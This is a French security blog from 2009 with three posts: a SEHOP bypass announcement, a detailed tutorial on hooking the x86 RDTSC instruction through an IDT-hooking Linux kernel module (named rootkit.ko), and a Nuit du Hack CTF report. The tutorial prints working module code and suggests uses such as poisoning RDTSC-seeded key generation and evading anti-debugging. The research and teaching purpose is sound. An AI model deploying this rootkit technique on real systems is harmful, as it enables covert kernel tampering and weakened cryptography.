La protection SEHOP introduite dans Windows Vista et 2008 permet de protéger les applications contre les exploitations de buffer-overflows classiques. Celles-ci consistent en général à écraser non seulement une adresse de retour, mais aussi la structure SEH gérant les exceptions provoquées par l’application, dans le but de rediriger le flux d’exécution vers un shellcode. La protection SEHOP empêche ce type d’exploitation en parcourant au préalable la chaîne des structures SEH et en s’assurant qu’elle soit valide. Jusqu’à maintenant, elle était considérée par beaucoup comme inviolable. Microsoft ont d’ailleurs décidé de l’activer par défaut dans Windows 2008, ainsi que dans Windows Vista et 7 sous forme de fix.

Or, deux collègues de Sysdream, Stéfan Leberre (Heurs) et Damien Cauquil (Virtualabs), viennent de trouver une méthode permettant de la contourner sous certaines conditions. Leur article ainsi que leur Proof Of Concept est disponible sur le site de Sysdream :

RDTSC hooking sous Linux : théorie et pratique

Emilien Girault — Tue, 14 Jul 2009 12:30:35 +0000

L’architecture x86 possède des subtilités parfois méconnues de beaucoup de développeurs. En effet, il existe une instruction assez spéciale, RDTSC, qui renvoie le nombre de cycles d’horloge depuis le démarrage du processeur. En 2007, un chercheur d’IBM présente au Black Hat une technique de hook basée sur cette instruction. En effet, il se trouve qu’il existe un flag dans le registre de contrôle CR4 permettant de désactiver cette instruction en ring 3, et de déclencher une exception #GP (int 13) lors de son appel. Via un hook de l’IDT par un driver codé maison, il devient donc possible de détourner les appels ring 3 à RDTSC, de filtrer les résultats et imaginer toutes sortes de choses. D’autant plus que RDTSC est couramment utilisée dans des application ayant trait à la sécurité, comme les méthodes d’anti-debugging ou de génération de nombres aléatoires…

Pour cet article, on se propose d’écrire un driver qui effectuera ce hook et qui détournera RDTSC afin de rendre les valeurs 11223344 et 55667788 respectivement dans EAX et EDX lorsqu’on l’appelle. Je présente en premier lieu la théorie nécessaire pour l’attaque, puis décris comment l’implémenter sous Linux. Enfin, je détaille une difficulté majeure à laquelle on peut faire face sur les distributions récentes telles qu’ArchLinux : le flag TIF_NOTSC.

L’instruction RDTSC et le flag TSD

RDTSC signifie « ReaD TimeStamp Counter », autrement dit elle permet de lire le compteur de temps du processeur, incrémenté à chaque cycle d’horloge. Ce compteur n’est autre que le MSR IA32_TIME_STAMP_COUNTER (cf manuel 3B d’Intel, section 18.11). Celui-ci fait 64 bits et est retourné dans EDX et EAX lors de l’appel à RDTSC. Les applications classiques s’en servent généralement pour :

Effectuer des mesures de performance (benchmark) sans passer par les fonctions du noyau
Générer des nombres pseudo-aléatoires, à cause du caractère à priori non prévisible de ce compteur (surtout des bits de poids faible)
Détecter des débogueur en mesurant des deltas entre deux instructions fixes ; si un débogueur est présent et qu’un breakpoint a été posé (ou que le mode step-by-step a été utilisé), le temps écoulé sera beaucoup plus long donc il est facile à l’application de quitter.

Cependant, ce n’est pas exactement comme cela qu’est décrit l’instruction RDTSC dans le manuel 2B d’Intel. En effet, on peut y lire le pseudo-code suivant :

IF (CR4.TSD = 0) or (CPL = 0) or (CR0.PE = 0)
THEN EDX:EAX ? TimeStampCounter;
ELSE (* CR4.TSD = 1 and (CPL = 1, 2, or 3) and CR0.PE = 1 *)
#GP(0);
FI;

On y apprend que le registre CR4 possède un flag TSD qui, s’il est activé, provoquerait une exception lorsque RDTSC est appelé dans un ring supérieur à 0 (mode protégé). Cette exception est la General Protection Fault, notée #GP et définie à l’index 13 dans l’IDT (table des interruptions). L’OS traite cette exception par une routine du noyau qui n’est généralement pas prévue pour gérer ce cas, donc on aura par défaut droit à un crash du programme ayant appelé RDTSC. Sous Linux, cela se traduit par l’envoi d’un signal SIGSEGV au processus, causant une segmentation fault.

IDT hooking

Pour hooker RDTSC, il faut donc dans un premier temps mettre à 1 le flag TSD (bit 2) de CR4 pour déclencher une #GP. Mais ce que nous voulons, c’est appeler notre fonction et non celle du noyau lors de l’exception. Il va donc falloir patcher l’IDT en remplaçant l’adresse du handler 13 par le notre ; autrement dit, faire du IDT hooking.

L’IDT recense des descripteurs explicités à la section 5.11 du manuel 3A d’Intel. Les descripteurs suivant plus ou moins le même format :

Descripteur d'interruption

Comme d’habitude dans la doc Intel, le schéma se lit de bas en haut et de droite à gauche (little endian, quand tu nous tiens…). A la mode des autres descripteurs propres à l’architecture x86, on constate que le champ Offset est découpé en deux parties : poids forts et poids faibles. C’est ce champ qui pointe vers le handler à exécuter lors de l’exception. Il suffit de remplacer sa valeur par l’adresse d’une de nos fonctions, et nous pourrons alors détourner le flux d’exécution lors d’un appel ring 3 à RDTSC.

Trouver l’IDT

Pour pouvoir faire un hook de l’IDT, il faut d’abord savoir la trouver. En fait, il est nécessaire de préciser que pour les processeurs multi-coeur, il n’y a pas une seule IDT mais plusieurs : une par cœur. Il est donc en théorie nécessaire de hooker toutes les IDT pour éviter les problèmes. Pour connaître l’IDT référencée par un cœur, il suffit d’utiliser l’instruction SIDT sur ce cœur. Cette instruction est accessible en ring 3 ; voici un code qui l’illustre. Cependant, si vous utilisez Linux dans une machine virtuelle telle que VirtualBox, il se peut que vous rencontriez des problèmes en fonction de vos options de virtualisation. En effet, l’instruction SIDT n’est pas toujours bien émulée par l’hyperviseur et il se peut que la valeur qu’elle retourne soit erronée. Préférez-donc la solution suivante si vous tenez à faire vos tests dans une VM.

Même si un procceseur peut avoir plusieurs IDT, Linux n’en utilise qu’une car chaque cœur référence la même. Celle-ci est définie dans le noyau par le symbole idt_table. Pour connaître son adresse, tentez :

grep idt_table /proc/kallsyms

Le premier champ retourné est l’addresse de l’IDT. Si cela ne vous renvoie rien, il vous faudra à la place utiliser le fichier /boot/Symbol.map, généré à la compilation du noyau. Il se peut que son nom soit quelque peu différent ; par exemple sous Ubuntu il suit le format /boot/System.map-$(uname -r) alors que sous ArchLinux il s’appelle /boot/System.map26.

Conception du handler

Une bonne conception du nouveau handler d’interruption est cruciale pour éviter de rendre instable tout le système. En effet, #GP est utilisée non seulement pour RDTSC mais aussi à chaque fois qu’un check de privilèges échoue (pour une bonne ou une mauvaise raison) dans l’OS, autrement dit un sacré paquet de fois… Autant dire qu’il est préférable de laisser l’OS gérer ces cas là tout seul.

Pour cela, il va falloir filtrer dans un premier temps les #GP dues à RDTSC et celles dues à une autre instruction. Détecter l’instruction fautive est facile vu que l’EIP a été empilé ; il suffit de le regarder, d’examiner ce qu’il pointe et de comparer cette valeur à l’opcode de RDTSC : 0F 31, soit 0x310F en mot de 16 bits little endian. Si cela ne correspond pas, on saute sur le handler de base de l’OS pour ne pas tout crasher.

Ce n’est pas tout : les programmes ring 3 de l’OS aussi utilisent RDTSC. Si nous leur rendons des valeurs comme 0×11223344, ils risquent d’avoir un comportement plutôt imprévisible, surtout s’ils s’en servent comme base de temps. J’ai d’ailleurs testé sous Linux ; Cron a segfaulté instantanément et la machine est devenue inutilisable en quelques secondes.

Bref, il faut se débrouiller pour rendre la bonne valeur à ces programmes. La solution est d’émuler RDTSC dans le driver, et de transmettre les résultats dans EAX et EDX au ring 3. Mais comment savoir quand retourner les bonnes et valeurs et les fakes ? La solution la plus simple qui m’est venue à l’esprit est d’utiliser le PIDs du processus courant, en supposant que l’on connaisse le PID à hooker. Pour transmettre au driver le PID du processus en question, on peut utiliser des IOCTLs, justement prévues pour la communication ring 3 – ring 0. Une fois que l’on a le PID, il suffit de consulter le PID courant et on peut savoir si on doit émuler RDTSC ou forger les valeurs.

Récupération du PID courant

Nous avons quasiment tout ce qu’il faut pour implémenter cette attaque sous Linux. La seule chose qu’il nous manque, c’est un moyen dé récupérer le PID du processus courant lorsque l’on est dans un handler d’interruption. Après lecture en diagonale du chapitre 7 d’Understanding The Linux Kernel 3rd edition, on constate qu’il existe une macro nommée current qui permet de récupérer un pointeur vers le descripteur de processus courant. Après avoir testé cette macro, je me suis rendu compte qu’elle ne marche en fait pas dans le contexte d’un handler d’interruption. Il faut utiliser à la place la fonction current_thread_info() qui marche à tous les coups. A partir de là, récupérer le PID est très simple, via l’expression suivante : current_thread_info()->task->pid.

Implémentation 1

Nous pouvons maintenant implémenter l’attaque. Je l’ai réalisé sans problèmes particulier sur une Ubuntu 9.04 avec un noyau 2.6.28, sur processeur AMD dualcore. Les sources sont disponibles plus bas ; voici les points principaux.

//Typedefs
typedef unsigned char u_int8;
typedef unsigned short u_int16;
typedef unsigned int u_int32;
typedef unsigned long long int u_int64;

/**
 * An IDT entry. Cf Intel SDM 3A
 */
typedef struct {
 u_int16 low_offset;
 u_int16 selector;
 u_int8 unused_lo;
 u_int8 segment_type:4;
 u_int8 system_segment_flag:1;
 u_int8 DPL:2;
 u_int8 P:1;
 u_int16 hi_offset;
} __attribute__((packed)) IDTENTRY_ST, *P_IDTENTRY_ST;

Dans un premier temps, on déclare la structure d’un descripteur d’interruption. On fera particulièrement attention à bien spécifier __attribute__((packed)) pour spécifier au compilateur de ne pas faire de padding entre les champs. La fonction effectuant le hook est ci-après :

//Interrupt handlers
u_int32 old_int_handler, new_int_handler2;

void HookOneIDT (P_IDTENTRY_ST _p_IDT, u_int32 _interrupt_number,
                 u_int32* _old_address, u_int32 _new_address)
{
 asm("cli\n\t");

 *_old_address =  ((_p_IDT[_interrupt_number].hi_offset << 16)
                | (_p_IDT[_interrupt_number].low_offset));
 _p_IDT[_interrupt_number].hi_offset = (_new_address >> 16) & 0xFFFF;
 _p_IDT[_interrupt_number].low_offset = (_new_address & 0xFFFF);

 asm("sti\n\t");
}

Rien de particulier ici, à part une désactivation temporaires des interruptions. D’ailleurs, pour être plus rigoureux, il aurait fallu les désactiver sur tous les cœurs, mais comme cette fonction sera appelée avec interrupt_number = 13, qui n’est de toutes façon pas masquable, il n’y a pas de risque.

Le nouveau handler d’interruption est codé à part dans un fichier assembleur. Il s’agit en fait d’un squelette qui sauvegarde le contexte et appelle une fonction C, pour des raisons de commodité :

.globl interrupt_handler

//The interrupt handler.
//This function must be naked. Since it's not possible with gcc on x86 platforms, we put it in a separate asm file.
interrupt_handler: 

 //Save registers
 pusha
 pushf

 //Call our hook function and  the parameter
 //Since convention call of my_func_handler is fastcall, parameter has to be in %ecx
 mov %esp, %ecx
 call my_func_handler

 //Check the return value
 cmp $1, %eax

 //If 1, throw the exception away
 je  my_exit

 //Otherwise, restore registers
 popf
 popa

 //Jump to the original handler
 jmpl * old_int_handler

my_exit:

 //Restore registers
 popf
 popa

 //Pop interrupt error code
 add $4, %esp

 //Return from interrupt
 iret

La fonction appelée, my_func_handler, doit déterminer la nature de l’exception et la traiter si besoin en détournant RDTSC. On utilise son code de retour pour savoir si l’on repasse la main au handler par défaut de Linux, ou si on se contente de retourner en userland.

//Opcode for RDTSC : 0F 31 => 31 OF in little endian
#define RDTSC_OPCODE 0x310F

//Size of RDTSC instruction
#define RDTSC_SIZE   2

/**
 * Interrupt stack structures
 */
typedef struct
{
 u_int32 edi;
 u_int32 esi;
 u_int32 ebp;
 u_int32 esp;
 u_int32 ebx;
 u_int32 edx;
 u_int32 ecx;
 u_int32 eax;
} PUSHA_ST, *P_PUSHA_ST;

typedef struct
{
 u_int32 error_code;  // !! Check Intel Manuals to see if the error code is present or not
 u_int32 eip;
 u_int32 cs;
 u_int32 eflags;
 u_int32 esp;
 u_int32 sp;
} INT_STACK_HARD_ST, P_INT_STACK_HARD_ST;

typedef struct
{
 u_int32              eflags;

 PUSHA_ST             pusha_st;
 INT_STACK_HARD_ST    int_stack_hard_st;

} MY_INT_STACK_ST, *P_MY_INT_STACK_ST;

/**
 * Return current PID
 */
unsigned int GetCurrentPID (void)
{
 // !!! The 'current' macro doesn't work in interrupt context !
 // !!! We have to use current_thread_info()->task instead
 return current_thread_info()->task->pid;
}

/**
 * Function called by the interrupt handler.
 *  !! WARNING !! Don't call printk() inside, or the kernel will freeze !
 *
 * @param stack pointer to the stack
 * @return 0 if this is a normal #GP exception,
 * 1 if it is due to our RDTSC hook
 */
u_int32  __attribute__((__fastcall__))
         my_func_handler (P_MY_INT_STACK_ST stack)
{
 //nb_interrupts++;+
 asm volatile("lock incl nb_interrupts\n\t");

 //Detect if the instruction that triggered the exception is RDTSC
 if(* (u_int16*) stack->int_stack_hard_st.eip == (u_int16) RDTSC_OPCODE)
 {
 //Check who is executing RDTSC
 if(GetCurrentPID() == pid_to_hook)
 {
 //Change EAX and EDX with magic values
 stack->pusha_st.eax = 0x11223344;
 stack->pusha_st.edx = 0x55667788;
 }
 else
 {
 //Perform a normal call to RDTSC
 RDTSC_ST rdtsc;
 RDTSC(&rdtsc);

 stack->pusha_st.eax = rdtsc.eax;
 stack->pusha_st.edx = rdtsc.edx;
 }

 //Increment EIP
 stack->int_stack_hard_st.eip += RDTSC_SIZE;

 return 1;
 }
 else
 {
 return 0;
 }

}

Il y a plusieurs détails qui ont leur importance. D’une part,on définit des structures correspondant à l’état de la pile lors de l’appel à cette fonction. Cela inclut les registres généraux pushés par PUSHA ainsi que les valeurs pushés automatiquement par le processeur. Il faut faire attention à bien inverser leur ordre relativement aux specifications d’Intel, vu que la pile croît des addresses hautes vers les basses. On récupère l’EIP empilé, on déréférence ce pointeur et on compare le mot de 16 bits avec l’opcode de RDTSC renversé (vu qu’il se trouve en mémoire, donc en little-endian). On émule RDTSC su besoin, et on n’oublie pas d’incrémenter EIP afin de sauter par dessus l’instruction lors du retour. On notera que le debug de cette fonction n’est pas trivial, car il est impossible d’utiliser des fonctions comme printk() à l’intérieur.

Voici désormais la partie relative aux IOCTLs. Je n’ai pas détaillé cette partie précédemment car elle fait plutôt partie d’un choix d’implémentation.

#include 

//The device name in /proc/devices
#define DEVICE_NAME        "rdtsc_exploit"

//The name of the device file in /dev
#define DEVICE_FILE_NAME   "/dev/rdtsc_exploit"

//IOCTL command codes
#define IOCTL_SET_PID    _IOWR(0, 0, unsigned int)

//Device major and minor numbers
static dev_t g_device_num;

//Count the number of hooked interrupts
extern volatile unsigned int nb_interrupts;

//The file_operation structure, to link the device
//to the appropriate handlers
static struct file_operations g_fops = {
 .owner   = THIS_MODULE,
 .ioctl   = my_ioctl,
};

//Char device structure
static struct cdev g_device;

Sous Linux, pour pouvoir communiquer avec un module en utilisant des IOCTLs, il faut créer un périphérique virtuel en mode caractère (char device) et lui assigner un handler l’ioctl. Ce device possèdera un numéro majeur dynamiquement alloué par le noyau. Pour le numéro mineur, nous choisissons simplement 0. Une fois ces ressources allouées, nous enregistrons le device ce qui a pour effet de le faire apparaître dans /proc/devices. Tout ce procédé est fort bien décrit aux chapitres 3 et 6 de Linux Device Drivers, 3rd edition, livre libre que je vous conseille vivement.

/**
 * Create the device
 */
int create_device (void)
{
 //Allocate the device major and minor
 if(alloc_chrdev_region(&g_device_num, 0, 1, DEVICE_NAME))
 {
 printk(KERN_INFO "ERROR: alloc_chrdev_region FAILED\n");
 return -1;
 }

 //Initialise the device
 cdev_init(&g_device, &g_fops);

 //Fill in some fields (optional)
 g_device.owner = THIS_MODULE;
 g_device.ops = &g_fops;

 //Register the device into the kernel
 if(cdev_add(&g_device, g_device_num, 1))
 {
 printk(KERN_INFO "ERROR: cdev_add FAILED\n");
 return -1;
 }

 printk(KERN_INFO "Device registrated successfully - name = %s, "
                  "major = %d, minor = %d\n", DEVICE_NAME,
                  MAJOR(g_device_num), MINOR(g_device_num));

 return 0;
}

/**
 * Delete the device
 */
void delete_device (void)
{
 //Unregister the device
 cdev_del(&g_device);

 //Unregister the device number
 unregister_chrdev_region(g_device_num, 1);
}

Ces deux fonctions réalisent la création et la suppression du device.

Pour manipuler le flag TSD de CR4, on cree les fonctions suivantes :

//Flag of CR4 that disable RDTSC in userland
#define FLAG_DISABLE_USER_RDTSC 0x4

/**
 * Get CR4 value
 */
u_int32 GetCR4 (void)
{
 u_int32 res = 0;

 asm volatile (
 "push %%eax\t\n"
 "mov %%cr4, %%eax\t\n"
 "mov %%eax, %0\t\n"
 "pop %%eax\t\n"
 : "=m"(res));

 return res;
}

/**
 * Set CR4 value
 */
void SetCR4 (u_int32 _new_cr4)
{
 asm volatile(
 "push %%eax\t\n"
 "mov %0, %%eax\t\n"
 "mov %%eax, %%cr4\t\n"
 "pop %%eax\t\n"
 : : "m" (_new_cr4));
}

/**
 * Enable userland calls to RDTSC
 */
void EnableUserRDTSC (void)
{
 SetCR4(GetCR4() & ~FLAG_DISABLE_USER_RDTSC);
}

/**
 * Disable userland calls to RDTSC
 */
void DisableUserRDTSC (void)
{
 SetCR4(GetCR4() | FLAG_DISABLE_USER_RDTSC);
}

On notera au passage la syntaxe assez inhabituelle de l’assembleur inline de GCC, notemment les doubles % nécessaires puisque l’on utilise des références (%0), ainsi que les \n\t en fin de ligne. Et bien entendu, les arguments inversés par rapport à la syntaxe officielle d’Intel.

Lors du chargement du driver, il suffira de hooker l’IDT et de positionner le flag CR4.TSD. Cependant, cette dernière opération doit être faite sur tous les coeurs. On utilisera donc la macro on_each_cpu().

//Hook the General Protection Fault handler (0x0D)
#define INTERRUPT_VECTOR_TO_HOOK 0x0D

#include   /* Needed by all modules */
#include   /* Needed for KERN_ALERT */
#include      // Needed for the macros

#include "../include/defines.h"
#include "hook.h"
#include "device.h"

static int module_load(void)
{
 Hook();
 create_device();

 //Must return 0, otherwise the module is not loaded
 return 0;
}

static void module_unload(void)
{
 delete_device();
 UnHook();
}  

module_init(module_load);
module_exit(module_unload);

/**
 * Hook
 */
void Hook ()
{
 //Get the IDT address (all CPUS use the same)
 P_IDTENTRY_ST pIDT = GetIDTSoft();

 printk(KERN_INFO "interrupt_handler = %08x\n", (u_int32) interrupt_handler);

 //Hook interrupt handler
 HookOneIDT(pIDT, INTERRUPT_VECTOR_TO_HOOK,
            &old_int_handler, (u_int32) interrupt_handler);

 //Hook RDTSC
 on_each_cpu(DisableUserRDTSC, 0, 0);
}

/**
 * Unhook
 */
void UnHook ()
{
 //Unhook RDTSC
 on_each_cpu(EnableUserRDTSC, 0, 0);

 //Unhook interrupt handler
 HookOneIDT(GetIDTSoft(), INTERRUPT_VECTOR_TO_HOOK,
            &new_int_handler2, old_int_handler);
}

Dans mon prototype, je récupère l’adresse de l’IDT en userland dans le Makefile…

IDT_ADDRESS = "0x`grep idt_table /boot/System.map-2.6.28-11-generic
               | cut -d ' ' -f 1`"

… que je passe en paramètre à GCC lors de la compilation avec le flag -D. Le module la récupère comme une constante pré-processeur :

/**
 * Get a pointer to the IDT - the soft way.
 * Works perfectly in VMs, but we either have to hardcode the IDT offset,
 * or read it from userland ('grep idt_table /proc/kallsyms'
 * or 'grep idt_table /boot/System.map').
 */
P_IDTENTRY_ST GetIDTSoft (void)
{
 P_IDTENTRY_ST pIDT = 0;

 pIDT = (P_IDTENTRY_ST) IDT_ADDRESS;

 return pIDT;
}

En userland, il faudra transmettre le PID à hooker au device, ce qui se fait par le code suivant :

#include 
#include 
#include 

#include 
#include 

#include "defines.h"

int main(int ac, char **av)
{

 //int i;
 int fd;
 int pid_to_hook;

 if(ac != 2)
 {
 printf("Usage: set_pid pid\n");
 printf("Set the pid to hook.\n\n");
 exit(0);
 }

 pid_to_hook = atoi(av[1]);

 if(pid_to_hook <= 0)
 {
 fprintf(stderr, "Error, pid must be > 0.\n");
 exit(1);
 }

 //Open the device in order to communicate with the driver
 fd = open(DEVICE_FILE_NAME, O_RDONLY);

 if(fd == -1)
 {
 printf("Error: %s does not exist!\n", DEVICE_FILE_NAME);
 exit(1);
 }

 //Send IOCTLs to the driver to set the pid do hook
 if(ioctl(fd, IOCTL_SET_PID, pid_to_hook))
 {
 fprintf(stderr, "Error setting the pid.\n");
 }
 else
 {
 printf("pid set successfully.\n");
 }

 //Close the device
 close(fd);

}

Enfin, la routine de traitement de l’IOCTL qui sert à récupérer le PID dans le module est relativement simple :

/**
 * IOCTL handler
 */
int my_ioctl (struct inode * _inode, struct file * _file,
              unsigned int _ioctl_num, unsigned long _ioctl_param)
{
 struct task_struct *task;

 switch(_ioctl_num)
 {
 //Set the PID
 case (IOCTL_SET_PID):

 pid_to_hook = (unsigned int) _ioctl_param;

 break;

 default:
 printk(KERN_INFO "rdtsc_exploit: ERROR: Unsupported ioctl code: "
                  "%08x.\n", _ioctl_num);
 }
 return 0;
}

Test

Après avoir compilé le tout, on charge le module :

# insmod module/rootkit.ko
# grep rdtsc_exploit /proc/devices
250 rdtsc_exploit
# mknod /dev/rdtsc_exploit c 250 0

On lance le programme exécutant RDTSC dans un shell à part :

$ exe/rdtsc/rdtsc
Press  to call rdtsc. Press q to quit.

RDTSC result (edx : eax) = (0000126d : 8c1cc9a2)

RDTSC result (edx : eax) = (0000126d : a38e75be)

Puis on envoie son PID au module avec :

# exe/set_pid/set_pid $(pidof rdtsc)
pid set successfully.

Et on revient au terminal précédent, en constatant que le hook fonctionne bien :

RDTSC result (edx : eax) = (55667788 : 11223344)

RDTSC result (edx : eax) = (55667788 : 11223344)

RDTSC result (edx : eax) = (55667788 : 11223344)

On n’oubliera pas de décharger le module avec :

# rmmod rootkit
# rm /dev/rdtsc_exploit

Problème avec ArchLinux

En testant l’implémentation précédente avec deux distributions ArchLinux de noyaux 2.6.29 et 2.6.30, j’ai constaté qu’ell ne marchait tout simplement pas. En faisant plusieurs tests, je constate que le handler de #GP est bien hooké, mais RDTSC ne l’est pas du tout car le programme de test affiche toujours des valeurs normales. J’affiche la valeur de CR4.TSD à plusieurs reprises, et je vois que de temps en temps, il repasse à 0, ce qui expliquerait pourquoi RDTSC n’est pas détournée.

Après plusieurs recherches, je tombe sur ce blog, qui pointe du doigt quelques bizarreries du noyau Linux concernant justement le flag TSD. Apparemment, il serait possible de l’activer ou non pour certains processus seulement. Il s’agit du Thread Information Flag TIF_NOTSC définit dans le fichier arch/x86/include/asm/thread_info.h du noyau. Ce flag est plus ou moins l’équivalent du flag TSD, mais dans le contexte de chaque processus. Il est possible de le définir avec l’appel système prctl en utilisant l’option PR_SET_TSC. La valeur PR_TSC_ENABLE revient à positionner TSD = 0, tandis que PR_TSC_SIGSEGV est équivalent à TSD = 1.

Ces flags existent déjà dans les noyaux 2.6.28 d’Ubuntu 9.04 ; je n’ai pas encore bien saisi pourquoi ceuxi-ci sont effectivement appliqués sur ArchLinux. Le blog cité précédemment parle de l’option de configuration CONFIG_SECCOMP du noyau, présente sur ArchLinux, mais visiblement désactivée ia le flag TIF_SECCOMP qui vaut 0 pour tous les processus. Je vais continuer mes recherches de ce côté… Si toutefois vous avez des explications, je suis preveur .

Implémentation 2

En attendant, il reste tout de même effectuer le hook de RDTSC. Il suffit de positionner le flag TIF_NOTSC du processus en question à PR_TSC_SIGSEGV. Cela peut se faire en appelant prctl, mais cette technique n’est pas vraiment convenable car un hook se doit d’être extérieur au processus. La technique consiste donc à émuler le fonctionnement de cet appel système au sein de notre module. Il nous suffit de parcourir la liste chainée des processus, d’isoler celui qui a le bon PID, et à positionner son flag. Cela revient à modifier la fonction my_ioctl() comme ceci :

/**
 * IOCTL handler
 */
int my_ioctl (struct inode * _inode, struct file * _file,
              unsigned int _ioctl_num, unsigned long _ioctl_param)
{
   struct task_struct *task;

   switch(_ioctl_num)
   {
      //Set the PID
      case (IOCTL_SET_PID):

         pid_to_hook = (unsigned int) _ioctl_param;
         printk(KERN_INFO "rdtsc_exploit: pid_to_hook = "
                          "%d.\n", pid_to_hook);

         for_each_process(task) {
            if(task->pid == pid_to_hook){
               test_and_set_ti_thread_flag(task_thread_info(task), TIF_NOTSC);
               printk("TIF_NOTSC set for process %d\n", task->pid);
            }
         }

      break;

      default:
         printk(KERN_INFO "rdtsc_exploit: ERROR: Unsupported ioctl code: "
                          "%08x.\n", _ioctl_num);
   }
   return 0;
}

La macro for_each_process() définie dans linux/sched.h permet d’itérer très simplement sur les threads du système. On utilise la fonction test_and_set_ti_thread_flag() afin de positionner le flag TIF_NOTSC du thread en question. On notera qu’il n’y a même plus besoin de modifier à la main CR4 à l’initialisation.

Sources

Téléchargez les sources

Les sources incluent l’implémentation 2, sachant que celle-ci fonctionne aussi bien sur les deux distributions que j’ai testées (Ubuntu et ArchLinux). Les lignes spécifiques à la 1ère implémentation sont commentées, donc vous pouvez toujours jouer avec et voir le résultat que vous obtenez.

Pour compiler, invoquez simplement make à la racine de rdtsc_exploit. Si jamais cela ne compile pas, éditez le fichier module/Makefile, et indiquez le bon chemin vers votre fichier /boot/System.map. Vérifiez également que le fichier module/handler.S a bien un S majuscule concernant son extension.

Les fichiers fournis sont organisés comme ceci :

module/ contient les sources du module
exe/ contient deux sources d’exécutables :
- rdtsc : programme de test exécutant RDTSC à chaque appui sur une touche. Il contient aussi un fichier de test du noyau, disable-tsc-test.c, que j’ai jugé intéressant de garder pour des tests. A compiler séparément.
- set_pid : programme prenant en paramètre le PID de rdtsc et l’envoyant au module par ioctl
scripts/ contient trois scripts permettant d’automatiser le chargement du module et la création du device. load_hook.sh et unload_hook.sh appellent en réalité load.sh, capable de charger/décharger un module et créer/détruire son device.

Applications

Pour terminer, voici quelques possibilités offertes par le hook de RDTSC :

Empoisonnement des générateurs de nombres pseudo-aléatoires : Certaines applications utilisent RDTSC comme source d’aléa, pour générer des valeurs pseudo-aléatoires qui peuvent par exemple être utilisées pour la génération de clé de chiffrement. En forçant à RDTSC à renvoyer des valeurs bien précise, on peut injecter des valeurs bien précises dans l’algorithme de génération et pouvoir prédire plus facilement son résultat.
Anti-anti-debuging : Comme dit au premier paragraphe, une technique d’anti-debug consiste à utiliser RDTSC pour estimer le temps passé entre deux instructions et le comparer à une valeur seuil. Une technique d’anti-anti-debug peut donc être de hooker RDTSC et de retourner des valeurs plausibles à l’application, en masquant le fait que celle-ci est en train de se faire déboguer. C’est précisément ce que fait le plugin Olly Advanced d’OllyDbg.
Communication offusquée entre une application et un driver : Puisqu’avec cette technique RDTSC est exécutée en ring 3 et provoque une exception #GP en ring 0, c’est un moyen de donner la main à un driver afin qu’il effectue des opérations « ni vu ni connu », dans le sens ou il n’y a aucun appel explicite vers fonction noyau dans l’application ring 3.

Conclusion

Cette technique n’est pas nouvelle, mais encore assez peu connue (enfin sans doute pas des reversers :p). Cependant, elle peut se révéler très intéressantes dans de multiples occasions. Si je devais donner un conseil, ce serait d’éviter de l’utiliser en ring 3, pour deux raisons principales de sécurité :

Il existe des générateurs aléatoires reconnus comme fiables, il est donc préférable de les utiliser plutôt que de se faire son propre algorithme.
L’OS fournit généralement des appels systèmes permettant d’appeler RDTSC en ring 0 et de retourner sa valeur (cf NtQueryPerformanceCounter() sous Windows). Comme l’appel est en ring 0, la méthode de hook décrite précédemment ne marche plus.

Références

The Art of Unpacking, Marc Vincent Yason, BlackHat 2007
Intel Software Devloper’s Manuals 2B, 3A
Understanding the Linux kernel, 3rd edition, Daniel Pierre Bovet, Marco Cesati, O’Reilly
Nibbles – SMP : IDT et GDT, j0rn
Linux Device Drivers, 3rd edition, Jonathan Corbet, Alessandro Rubini, Greg Kroah-Hartman, O’Reilly
CR0′s blog : Time-stamp counter disabling oddities in the Linux kernel
Man prctl

PR_SET_TSC

Nuit Du Hack 2009 : Et les vainqueurs sont…

Emilien Girault — Sun, 14 Jun 2009 20:17:00 +0000

Tant attendue, la NDH 2009 s’est terminée ce matin même. La péniche sur laquelle se déroulait l’événement battait son plein ; nous étions quasiment 200 à bord. Pour la première fois, le challenge était un Capture The Flag au cours duquel se sont affrontés une demi douzaine d’équipes. Mais cette année, la team de Ghosts In The Stack n’était pas au complet car il manquait Heurs, contraint de ne pas participer au challenge vu qu’il fait désormais partie du staff. Ma team, répondant au nom de Trollkore (un trip IRC…) était donc composée d’Ivanlef0u, sh4ka, Pierz et Kal0n. Et c’est notre équipe qui a remporté le challenge ! Voici, rien que pour vous, un petit résumé de cette super nuit organisée par Sysdream. [EDIT 15/16/09 : slides et sources mis en ligne]

Conférences

Le programme était aussi riche qu’intense : une douzaine de conférences se déroulant sur deux plateformes ; il y avait donc toujours deux confs en simultané. L’inconvénient était toutefois qu’on ne pouvait assister qu’à la moitié des confs… Pour ma part, j’ai alterné entre les deux plateformes, et j’ai en plus du finaliser quelques slides donc je n’ai pas pu en profiter pleinement. Au final, voila ce à quoi j’ai assisté :

SCOW – ShellCoding On Windows : Heurs présente son nouvel outil permettant de générer un shellcode générique sous Wndows à partir d’un simple programme C. Un outil permettant de gagner un temps fou lors de la conception d’un exploit, avec en prime une polymorphisation du shellcode en question.
GoRing0 : Présentée par moi-même. Cette conférence se veut accessible à tous ceux qui s’intéressent de près ou de loin au noyau et au fonctionnement des processeurs x86, en particulier le système de privilèges (ring). J’y présente dans un premier temps toutes les bases nécessaire pour comprendre le coeur de la conférence : un rootkit que j’ai développé et qui permet de passer un thread en ring 0, le contexte étant préservé.
Drive by Pharming : Abc528 présente une faille XSRF des routeurs de type box (Alicebox, Livebox…) permettant de modifier leur configuration depuis une page HTML hébergée sur un site quelconque.
XeeK : Ma deuxième conf de la soirée. Je présente XeeK, un projet dont j’ai déjà parlé ici, mais que je n’ai pas encore eu le temps de finir. Il s’agit d’un framework visant à exploiter les failles XSS très rapidement et simplement.
Lockpicking : Cocolitos et Mr Jack nous démontrent qu’aucun verrou n’est vraiment sûre, en crochetant différents types de serrures, les unes à la suite des autres. On y apprend entre autres qu’on peut crocheter certaines serrures avec un bout d’essuie glace, et ouvrir un cadenas avec une canette. Même certaines serrures réputées haute sécurité y passent.

Dommage, j’ai loupé la conférences de Virtualabs sur les framework Web next gen, qui pourraient fortement m’intéresser pour poursuivre XeeK.

